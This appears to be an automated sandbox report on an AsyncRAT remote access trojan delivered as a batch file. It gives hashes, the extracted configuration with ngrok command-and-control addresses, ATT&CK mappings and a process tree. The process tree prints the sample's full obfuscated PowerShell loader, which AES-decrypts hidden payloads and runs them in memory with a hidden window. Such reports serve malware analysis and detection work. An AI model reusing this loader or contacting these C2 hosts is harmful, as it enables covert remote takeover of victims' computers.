asyncrat | dfc981ff489e6ba91c43acceb32b3f5e518b001ac611742e32c828e09202e66b

General

Target

output.bat
Size

46KB
MD5

8962ec15efd02a1a96c54aac7878a620
SHA1

1c587e367111cf850bdda811e55c97076264c6a1
SHA256

dfc981ff489e6ba91c43acceb32b3f5e518b001ac611742e32c828e09202e66b
SHA512

5ab987b13a0b9ffc02020c9177e32e46350cd3ab6650954ba49a9de68fc56c353bee6a6cec1f1dc53f04123ea914c64cb5752ebd33c468cc9709bff31a3bee4b
SSDEEP

768:Mfh+sVMVei1JzM6VZS5mEF7Zn4sLzrZsuL6QZVt6DAmVeT3HaaXhk34Kra2:y1iLzMW4rFV4s9suLjZVg8qeTXacxKr3

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

6.tcp.eu.ngrok.io:19580

6.tcp.eu.ngrok.io:2024

6.tcp.eu.ngrok.io:15251

Mutex

UkUiX8RLZesC

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/4080-40-0x00000000075E0000-0x00000000075F2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow	pid	Process
14	4080	powershell.exe
38	4080	powershell.exe
40	4080	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
4440	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

Processes:

flow	ioc
13	6.tcp.eu.ngrok.io

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exepowershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
4080	powershell.exe
4080	powershell.exe
4440	powershell.exe
4440	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	Process	procid_target
PID 5060 wrote to memory of 3976	5060	cmd.exe	83
PID 5060 wrote to memory of 3976	5060	cmd.exe	83
PID 3976 wrote to memory of 4068	3976	cmd.exe	85
PID 3976 wrote to memory of 4068	3976	cmd.exe	85
PID 3976 wrote to memory of 4080	3976	cmd.exe	86
PID 3976 wrote to memory of 4080	3976	cmd.exe	86
PID 3976 wrote to memory of 4080	3976	cmd.exe	86
PID 4080 wrote to memory of 4440	4080	powershell.exe	87
PID 4080 wrote to memory of 4440	4080	powershell.exe	87
PID 4080 wrote to memory of 4440	4080	powershell.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\output.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\output.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\output.bat';$NTFv='FrPqzeoPqzemBPqzeasPqzee6Pqze4SPqzetPqzeriPqzenPqzegPqze'.Replace('Pqze', ''),'EnBZWdtryBZWdPBZWdoinBZWdtBZWd'.Replace('BZWd', ''),'ROgtJeOgtJaOgtJdLOgtJiOgtJnOgtJeOgtJsOgtJ'.Replace('OgtJ', ''),'SJnWNplJnWNitJnWN'.Replace('JnWN', ''),'CouvlKpuvlKyuvlKTouvlK'.Replace('uvlK', ''),'LoJyLBaJyLBdJyLB'.Replace('JyLB', ''),'CrehuAKathuAKeDhuAKechuAKrhuAKypthuAKorhuAK'.Replace('huAK', ''),'MGcPeaGcPeinMGcPeodGcPeuGcPelGcPeeGcPe'.Replace('GcPe', ''),'ElkAHpekAHpmenkAHptAtkAHp'.Replace('kAHp', ''),'TraxAtMnsxAtMfxAtMoxAtMrmFxAtMixAtMnalxAtMBlxAtMoxAtMckxAtM'.Replace('xAtM', ''),'GexJcAtCxJcAurxJcArenxJcAtxJcAPrxJcAoxJcAcxJcAexJcAsxJcAsxJcA'.Replace('xJcA', ''),'InvsZZKosZZKkesZZK'.Replace('sZZK', ''),'DewnSWcownSWmpwnSWrwnSWeswnSWswnSW'.Replace('wnSW', ''),'CYAMzhYAMzangYAMzeYAMzExYAMztenYAMzsioYAMznYAMz'.Replace('YAMz', '');powershell -w hidden;function TUBbt($MBmkf){$MZmxd=[System.Security.Cryptography.Aes]::Create();$MZmxd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$MZmxd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$MZmxd.Key=[System.Convert]::($NTFv[0])('5ZE3qI9dMGt62SkKchIEdZFjOehLiufxwxgbD+17Q1k=');$MZmxd.IV=[System.Convert]::($NTFv[0])('NkxYly32CEIorbL5iaQQ4A==');$wvMTZ=$MZmxd.($NTFv[6])();$QtJva=$wvMTZ.($NTFv[9])($MBmkf,0,$MBmkf.Length);$wvMTZ.Dispose();$MZmxd.Dispose();$QtJva;}function ikosY($MBmkf){$kwoJC=New-Object System.IO.MemoryStream(,$MBmkf);$OASso=New-Object System.IO.MemoryStream;$ysOOg=New-Object System.IO.Compression.GZipStream($kwoJC,[IO.Compression.CompressionMode]::($NTFv[12]));$ysOOg.($NTFv[4])($OASso);$ysOOg.Dispose();$kwoJC.Dispose();$OASso.Dispose();$OASso.ToArray();}$JuvsJ=[System.IO.File]::($NTFv[2])([Console]::Title);$zwzsq=ikosY (TUBbt ([Convert]::($NTFv[0])([System.Linq.Enumerable]::($NTFv[8])($JuvsJ, 5).Substring(2))));$JbTah=ikosY (TUBbt ([Convert]::($NTFv[0])([System.Linq.Enumerable]::($NTFv[8])($JuvsJ, 6).Substring(2))));[System.Reflection.Assembly]::($NTFv[5])([byte[]]$JbTah).($NTFv[1]).($NTFv[11])($null,$null);[System.Reflection.Assembly]::($NTFv[5])([byte[]]$zwzsq).($NTFv[1]).($NTFv[11])($null,$null); "
    3⤵
    PID:4068
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ywbujate.yjo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4080-20-0x0000000007280000-0x00000000072C4000-memory.dmp

Filesize
272KB

Download
memory/4080-3-0x00000000745C0000-0x0000000074D70000-memory.dmp

Filesize
7.7MB

Download
memory/4080-22-0x0000000007AA0000-0x000000000811A000-memory.dmp

Filesize
6.5MB

Download
memory/4080-23-0x0000000007440000-0x000000000745A000-memory.dmp

Filesize
104KB

Download
memory/4080-5-0x00000000050C0000-0x00000000050E2000-memory.dmp

Filesize
136KB

Download
memory/4080-6-0x0000000005460000-0x00000000054C6000-memory.dmp

Filesize
408KB

Download
memory/4080-7-0x0000000005B90000-0x0000000005BF6000-memory.dmp

Filesize
408KB

Download
memory/4080-1-0x00000000028A0000-0x00000000028D6000-memory.dmp

Filesize
216KB

Download
memory/4080-17-0x0000000005C00000-0x0000000005F54000-memory.dmp

Filesize
3.3MB

Download
memory/4080-18-0x00000000060D0000-0x00000000060EE000-memory.dmp

Filesize
120KB

Download
memory/4080-19-0x00000000060F0000-0x000000000613C000-memory.dmp

Filesize
304KB

Download
memory/4080-0-0x00000000745CE000-0x00000000745CF000-memory.dmp

Filesize
4KB

Download
memory/4080-48-0x00000000086D0000-0x0000000008C74000-memory.dmp

Filesize
5.6MB

Download
memory/4080-2-0x00000000054F0000-0x0000000005B18000-memory.dmp

Filesize
6.2MB

Download
memory/4080-4-0x00000000745C0000-0x0000000074D70000-memory.dmp

Filesize
7.7MB

Download
memory/4080-21-0x00000000073A0000-0x0000000007416000-memory.dmp

Filesize
472KB

Download
memory/4080-47-0x0000000007750000-0x00000000077EC000-memory.dmp

Filesize
624KB

Download
memory/4080-43-0x00000000745C0000-0x0000000074D70000-memory.dmp

Filesize
7.7MB

Download
memory/4080-42-0x00000000745C0000-0x0000000074D70000-memory.dmp

Filesize
7.7MB

Download
memory/4080-39-0x0000000007520000-0x000000000752E000-memory.dmp

Filesize
56KB

Download
memory/4080-40-0x00000000075E0000-0x00000000075F2000-memory.dmp

Filesize
72KB

Download
memory/4080-41-0x00000000745CE000-0x00000000745CF000-memory.dmp

Filesize
4KB

Download
memory/4440-38-0x00000000745C0000-0x0000000074D70000-memory.dmp

Filesize
7.7MB

Download
memory/4440-26-0x00000000745C0000-0x0000000074D70000-memory.dmp

Filesize
7.7MB

Download
memory/4440-25-0x00000000745C0000-0x0000000074D70000-memory.dmp

Filesize
7.7MB

Download
memory/4440-24-0x00000000745C0000-0x0000000074D70000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads